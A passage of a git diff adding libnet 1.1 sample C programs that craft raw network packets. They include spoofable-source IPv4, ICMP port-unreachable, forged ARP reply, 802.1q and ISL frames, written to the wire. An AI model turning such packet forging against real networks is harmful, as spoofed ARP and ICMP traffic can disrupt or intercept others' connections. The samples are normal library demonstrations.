+ * the new API of ICMP error messages fixing Aaron's bugs.
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char **argv)
+{
+ int c, i;
+ libnet_t *l = NULL;
+ libnet_ptag_t ip_err = 0, icmp = 0, ip = 0, eth = 0;
+ u_long src_ip, dst_ip;
+ u_char payload[8] = {0x11, 0x11, 0x22, 0x22, 0x00, 0x08, 0xc6, 0xa5};
+ u_long payload_s = 8;
+ int mode = LIBNET_LINK;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 packet shaping: ICMP unreachable[link]\n");
+
+ src_ip = 0;
+ dst_ip = 0;
+
+ while((c = getopt(argc, argv, "d:s:r")) != EOF)
+ {
+ switch (c)
+ {
+ case 'd':
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg);
+ exit(1);
+ }
+ break;
+ case 's':
+ if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ exit(1);
+ }
+ break;
+ case 'r':
+ mode = LIBNET_RAW4;
+ break;
+ }
+ }
+ if (!src_ip || !dst_ip)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ mode, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* errbuf */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ for (i=0; i<255; i++)
+ {
+ ip_err = libnet_build_ipv4(
+ LIBNET_IPV4_H + payload_s, /* o length */
+ IPTOS_LOWDELAY | IPTOS_THROUGHPUT, /* o IP tos */
+ (u_int16_t)i, /* o IP ID */
+ 0, /* o frag */
+ 64, /* o TTL */
+ IPPROTO_UDP, /* o protocol */
+ 0, /* o checksum */
+ dst_ip, /* o source IP */
+ src_ip, /* o destination IP */
+ payload, /* payload */
+ payload_s, /* payload size */
+ l,
+ ip_err);
+ if (ip_err == -1)
+ {
+ fprintf(stderr, "Can't build error IPv4 header: %s\n",
+ libnet_geterror(l));
+ goto bad;
+ }
+
+ icmp = libnet_build_icmpv4_unreach(
+ ICMP_UNREACH, /* type */
+ ICMP_UNREACH_PORT, /* code */
+ 0, /* checksum */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ icmp);
+ if (icmp == -1)
+ {
+ fprintf(stderr, "Can't build ICMP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ ip = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_ICMPV4_UNREACH_H +
+ LIBNET_IPV4_H + payload_s, /* length */
+ IPTOS_LOWDELAY | IPTOS_THROUGHPUT, /* TOS */
+ (u_int16_t)i + 1, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_ICMP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ ip);
+ if (ip == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ if (mode == LIBNET_LINK) {
+ eth = libnet_build_ethernet(
+ enet_dst, /* ethernet destination */
+ enet_src, /* ethernet source */
+ ETHERTYPE_IP, /* protocol type */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ eth); /* libnet id */
+
+ if (eth == -1)
+ {
+ fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ }
+ /*
+ * Write it to the wire.
+ */
+ libnet_diag_dump_pblock(l);
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte ICMP packet; check the wire.\n", c);
+ }
+}
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+
+void
+usage(char *name)
+{
+ fprintf(stderr, "usage: %s [-r] -s source_ip -d destination_ip\n ", name);
+}
+
+/* EOF */
diff --git a/libnet/sample/ieee.c b/libnet/sample/ieee.c
new file mode 100644
index 0000000..0037b01
--- /dev/null
+++ b/libnet/sample/ieee.c
@@ -0,0 +1,177 @@
+/*
+ * $Id: ieee.c,v 1.2 2004/01/03 20:31:01 mike Exp $
+ *
+ * libnet 1.1
+ * Build an ieee 802.1q/ARP packet
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char *argv[])
+{
+ int c, len, do_802_2;
+ u_long i;
+ libnet_t *l;
+ libnet_ptag_t t;
+ u_char *dst, *src, oui[3];
+ char *device = NULL;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 packet shaping: ieee[802.1q / 802.2 / ARP]\n");
+
+ do_802_2 = 0;
+ device = NULL;
+ src = dst = NULL;
+ while ((c = getopt(argc, argv, "8d:i:s:")) != EOF)
+ {
+ switch (c)
+ {
+ case '8':
+ do_802_2 = 1;
+ break;
+ case 'd':
+ dst = libnet_hex_aton(optarg, &len);
+ break;
+ case 'i':
+ device = optarg;
+ break;
+ case 's':
+ src = libnet_hex_aton(optarg, &len);
+ break;
+ }
+ }
+
+ if (src == NULL || dst == NULL)
+ {
+ fprintf(stderr, "usage %s -d dst -s src [-8 ] [-i interface]\n",
+ argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_LINK, /* injection type */
+ device, /* network interface */
+ errbuf); /* errbuf */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ i = libnet_get_ipaddr4(l);
+
+ t = libnet_build_arp(
+ ARPHRD_ETHER, /* hardware addr */
+ ETHERTYPE_IP, /* protocol addr */
+ 6, /* hardware addr size */
+ 4, /* protocol addr size */
+ ARPOP_REPLY, /* operation type */
+ src, /* sender hardware addr */
+ (u_char *)&i, /* sender protocol addr */
+ dst, /* target hardware addr */
+ (u_char *)&i, /* target protocol addr */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ARP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ if (do_802_2)
+ {
+ memset(&oui, 0, 3);
+ t = libnet_build_802_2snap(
+ 0xaa, /* SNAP DSAP */
+ 0xaa, /* SNAP SSAP */
+ 0, /* control */
+ oui, /* oui */
+ ETHERTYPE_ARP, /* ARP header follows */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build 802.2 header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ }
+ t = libnet_build_802_1q(
+ dst, /* dest mac */
+ src, /* source mac */
+ ETHERTYPE_VLAN, /* TPI */
+ 0x006, /* priority (0 - 7) */
+ 0x001, /* CFI flag */
+ 0x100, /* vid (0 - 4095) */
+ do_802_2 ? LIBNET_802_2SNAP_H + LIBNET_ARP_ETH_IP_H : 0x0806,
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build 802.1q header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte 802.1q packet; check the wire.\n", c);
+ }
+ free(dst);
+ free(src);
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ free(dst);
+ free(src);
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+/* EOF */
diff --git a/libnet/sample/ip_link.c b/libnet/sample/ip_link.c
new file mode 100644
index 0000000..9b471f0
--- /dev/null
+++ b/libnet/sample/ip_link.c
@@ -0,0 +1,201 @@
+/*
+ *
+ * libnet 1.1
+ * Build a IPv4 packet with what you want as payload
+ *
+ * Copyright (c) 2003 Frédéric Raynal <pappy@security-labs.org>
+ * All rights reserved.
+ *
+ * Ex:
+ * - send an UDP packet from port 4369 to port 8738
+ * ./ip -s 1.1.1.1 -d 2.2.2.2
+ *
+ * - send a TCP SYN from port 4369 to port 8738
+ * ./ip -s 1.1.1.1 -d 2.2.2.2 -t -p `printf "\x04\x57\x08\xae\x01\x01\x01\x01\x02\x02\x02\x02\x50\x02\x7f\xff\xd5\x91\x41\x41"`
+ *
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char *argv[])
+{
+ int c;
+ libnet_t *l;
+ char *device = NULL;
+ char *dst = "2.2.2.2", *src = "1.1.1.1";
+ char *hwdst = "22:22:22:22:22:22", *hwsrc = "11:11:11:11:11:11";
+ u_long src_ip, dst_ip;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+ libnet_ptag_t ip_ptag = 0;
+ libnet_ptag_t eth_ptag = 0;
+ u_short proto = IPPROTO_UDP;
+ u_char payload[255] = {0x11, 0x11, 0x22, 0x22, 0x00, 0x08, 0xc6, 0xa5};
+ u_long payload_s = 8;
+
+ printf("libnet 1.1 packet shaping: IP + payload[link]\n");
+
+ while ((c = getopt(argc, argv, "d:s:D:S:tp:i:h")) != EOF)
+ {
+ switch (c)
+ {
+ case 'D':
+ hwdst = optarg;
+ break;
+
+ case 'S':
+ hwsrc = optarg;
+ break;
+
+ case 'd':
+ dst = optarg;
+ break;
+
+ case 's':
+ src = optarg;
+ break;
+
+ case 'i':
+ device = optarg;
+ break;
+
+ case 't':
+ proto = IPPROTO_TCP;
+ break;
+
+ case 'p':
+ strncpy(payload, optarg, sizeof(payload)-1);
+ payload_s = strlen(payload);
+ break;
+
+ case 'h':
+ usage(argv[0]);
+ exit(EXIT_SUCCESS);
+
+ default:
+ exit(EXIT_FAILURE);
+ }
+ }
+
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_LINK, /* injection type */
+ device, /* network interface */
+ errbuf); /* error buffer */
+
+ printf("Using device %s\n", l->device);
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ if ((dst_ip = libnet_name2addr4(l, dst, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", dst);
+ exit(EXIT_FAILURE);
+ }
+
+ if ((src_ip = libnet_name2addr4(l, src, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", src);
+ exit(EXIT_FAILURE);
+ }
+
+ /*
+ * Build the packet
+ */
+ ip_ptag = libnet_build_ipv4(
+ LIBNET_IPV4_H + payload_s, /* length */
+ 0, /* TOS */
+ 242, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ proto, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ payload, /* payload */
+ payload_s, /* payload size */
+ l, /* libnet handle */
+ ip_ptag); /* libnet id */
+ if (ip_ptag == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ eth_ptag = libnet_build_ethernet(
+ hwdst, /* ethernet destination */
+ hwsrc, /* ethernet source */
+ ETHERTYPE_IP, /* protocol type */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (eth_ptag == -1)
+ {
+ fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte IP packet; check the wire.\n", c);
+ }
+
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+void
+usage(char *name)
+{
+ fprintf(stderr,
+ "usage: %s [-s source_ip] [-d destination_ip]"
+ " [-S HW src] [-D HW dst]"
+ " [-i iface] [-p payload] [-t]\n",
+ name);
+}
+
+/* EOF */
diff --git a/libnet/sample/ip_raw.c b/libnet/sample/ip_raw.c
new file mode 100644
index 0000000..73c30fc
--- /dev/null
+++ b/libnet/sample/ip_raw.c
@@ -0,0 +1,180 @@
+/*
+ *
+ * libnet 1.1
+ * Build a IPv4 packet with what you want as payload
+ *
+ * Copyright (c) 2003 Frédéric Raynal <pappy@security-labs.org>
+ * All rights reserved.
+ *
+ * Ex:
+ * - send an UDP packet from port 4369 to port 8738
+ * ./ip -s 1.1.1.1 -d 2.2.2.2
+ *
+ * - send a TCP SYN from port 4369 to port 8738
+ * ./ip -s 1.1.1.1 -d 2.2.2.2 -t -p `printf "\x04\x57\x08\xae\x01\x01\x01\x01\x02\x02\x02\x02\x50\x02\x7f\xff\xd5\x91\x41\x41"`
+ *
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char *argv[])
+{
+ int c;
+ libnet_t *l;
+ char *device = NULL;
+ char *dst = "2.2.2.2", *src = "1.1.1.1";
+ u_long src_ip, dst_ip;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+ libnet_ptag_t ip_ptag = 0;
+ u_short proto = IPPROTO_UDP;
+ u_char payload[255] = {0x11, 0x11, 0x22, 0x22, 0x00, 0x08, 0xc6, 0xa5};
+ u_long payload_s = 8;
+
+ printf("libnet 1.1 packet shaping: IP + payload[raw]\n");
+
+ /*
+ * handle options
+ */
+ while ((c = getopt(argc, argv, "d:s:tp:i:h")) != EOF)
+ {
+ switch (c)
+ {
+ case 'd':
+ dst = optarg;
+ break;
+
+ case 's':
+ src = optarg;
+ break;
+
+ case 'i':
+ device = optarg;
+ break;
+
+ case 't':
+ proto = IPPROTO_TCP;
+ break;
+
+ case 'p':
+ strncpy(payload, optarg, sizeof(payload)-1);
+ payload_s = strlen(payload);
+ break;
+
+ case 'h':
+ usage(argv[0]);
+ exit(EXIT_SUCCESS);
+
+ default:
+ exit(EXIT_FAILURE);
+ }
+ }
+
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_RAW4, /* injection type */
+ device, /* network interface */
+ errbuf); /* error buffer */
+
+ printf("Using device %s\n", l->device);
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ if ((dst_ip = libnet_name2addr4(l, dst, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", dst);
+ exit(EXIT_FAILURE);
+ }
+
+ if ((src_ip = libnet_name2addr4(l, src, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", src);
+ exit(EXIT_FAILURE);
+ }
+
+
+ /*
+ * Build the packet
+ */
+ ip_ptag = libnet_build_ipv4(
+ LIBNET_IPV4_H + payload_s, /* length */
+ 0, /* TOS */
+ 242, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ proto, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ payload, /* payload */
+ payload_s, /* payload size */
+ l, /* libnet handle */
+ ip_ptag); /* libnet id */
+ if (ip_ptag == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte IP packet; check the wire.\n", c);
+ }
+
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+void
+usage(char *name)
+{
+ fprintf(stderr,
+ "usage: %s [-s source_ip] [-d destination_ip]"
+ " [-i iface] [-p payload] [-t]\n",
+ name);
+}
+
+/* EOF */
diff --git a/libnet/sample/isl.c b/libnet/sample/isl.c
new file mode 100644
index 0000000..ab5cf3e
--- /dev/null
+++ b/libnet/sample/isl.c
@@ -0,0 +1,167 @@
+/*
+ * $Id: isl.c,v 1.2 2004/01/03 20:31:01 mike Exp $
+ *
+ * libnet 1.1
+ * Build an ISL packet
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char *argv[])
+{
+ int c, len;
+ libnet_t *l;
+ libnet_ptag_t t;
+ u_char *dst;
+ u_long ip;
+ u_char dhost[5] = {0x01, 0x00, 0x0c, 0x00, 0x00};
+ u_char snap[6] = {0xaa, 0xaa, 0x03, 0x00, 0x00, 0x00};
+ char *device = NULL;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 packet shaping: [ISL]\n");
+
+ device = NULL;
+ dst = NULL;
+ while ((c = getopt(argc, argv, "i:d:")) != EOF)
+ {
+ switch (c)
+ {
+ case 'd':
+ dst = libnet_hex_aton(optarg, &len);
+ break;
+ case 'i':
+ device = optarg;
+ break;
+ }
+ }
+
+ if (dst == NULL)
+ {
+ fprintf(stderr, "usage %s -d dst [-i interface]\n",
+ argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_LINK, /* injection type */
+ device, /* network interface */
+ errbuf); /* errbuf */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ ip = libnet_get_ipaddr4(l);
+
+ t = libnet_build_arp(
+ ARPHRD_ETHER, /* hardware addr */
+ ETHERTYPE_IP, /* protocol addr */
+ 6, /* hardware addr size */
+ 4, /* protocol addr size */
+ ARPOP_REPLY, /* operation type */
+ enet_src, /* sender hardware addr */
+ (u_char *)&ip, /* sender protocol addr */
+ enet_dst, /* target hardware addr */
+ (u_char *)&ip, /* target protocol addr */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ARP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_autobuild_ethernet(
+ dst, /* ethernet destination */
+ ETHERTYPE_ARP, /* protocol type */
+ l); /* libnet handle */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ethernet header: %s\n",
+ libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_isl(
+ dhost,
+ 0x0,
+ 0x0,
+ enet_src,
+ 10 + 42,
+ snap,
+ 10,
+ 0x8000,
+ 0,
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ISL header: %s\n",
+ libnet_geterror(l));
+ goto bad;
+ }
+
+
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte ISL packet; check the wire.\n", c);
+ }
+ free(dst);
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ free(dst);
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+/* EOF */
diff --git a/libnet/sample/libnet_test.h b/libnet/sample/libnet_test.h
new file mode 100644
index 0000000..7590e7a
--- /dev/null
+++ b/libnet/sample/libnet_test.h
@@ -0,0 +1,60 @@
+/*
+ * $Id: libnet_test.h,v 1.3 2004/01/29 21:17:16 mike Exp $
+ *
+ * libnet_test.h
+ *
+ * Copyright (c) 1998 - 2001 Mike D. Schiffman <mike@infonexus.com>
+ */
+
+#ifndef __LIBNET_TEST_H
+#define __LIBNET_TEST_H
+
+#ifndef _WIN32
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#include "../include/win32/getopt.h"
+#endif
+
+#define libnet_timersub(tvp, uvp, vvp) \
+ do { \
+ (vvp)->tv_sec = (tvp)->tv_sec - (uvp)->tv_sec; \
+ (vvp)->tv_usec = (tvp)->tv_usec - (uvp)->tv_usec; \
+ if ((vvp)->tv_usec < 0) { \
+ (vvp)->tv_sec--; \
+ (vvp)->tv_usec += 1000000; \
+ } \
+ } while (0)
+
+u_char enet_src[6] = {0x0d, 0x0e, 0x0a, 0x0d, 0x00, 0x00};
+u_char enet_dst[6] = {0x00, 0x10, 0x67, 0x00, 0xb1, 0x86};
+u_char ip_src[4] = {0x0a, 0x00, 0x00, 0x01};
+u_char ip_dst[4] = {0x0a, 0x00, 0x00, 0x02};
+u_char fddi_src[6] = {0x00, 0x0d, 0x0e, 0x0a, 0x0d, 0x00};
+u_char fddi_dst[6] = {0x00, 0x10, 0x67, 0x00, 0xb1, 0x86};
+u_char tr_src[6] = {0x00, 0x0d, 0x0e, 0x0a, 0x0d, 0x00};
+u_char tr_dst[6] = {0x00, 0x10, 0x67, 0x00, 0xb1, 0x86};
+
+u_char org_code[3] = {0x00, 0x00, 0x00};
+
+void usage(char *);
+
+#if defined(__WIN32__)
+#include <win32/getopt.h>
+#include <winsock2.h>
+#include <ws2tcpip.h>
+#ifndef _WIN32
+#include <sys/time.h>
+#endif
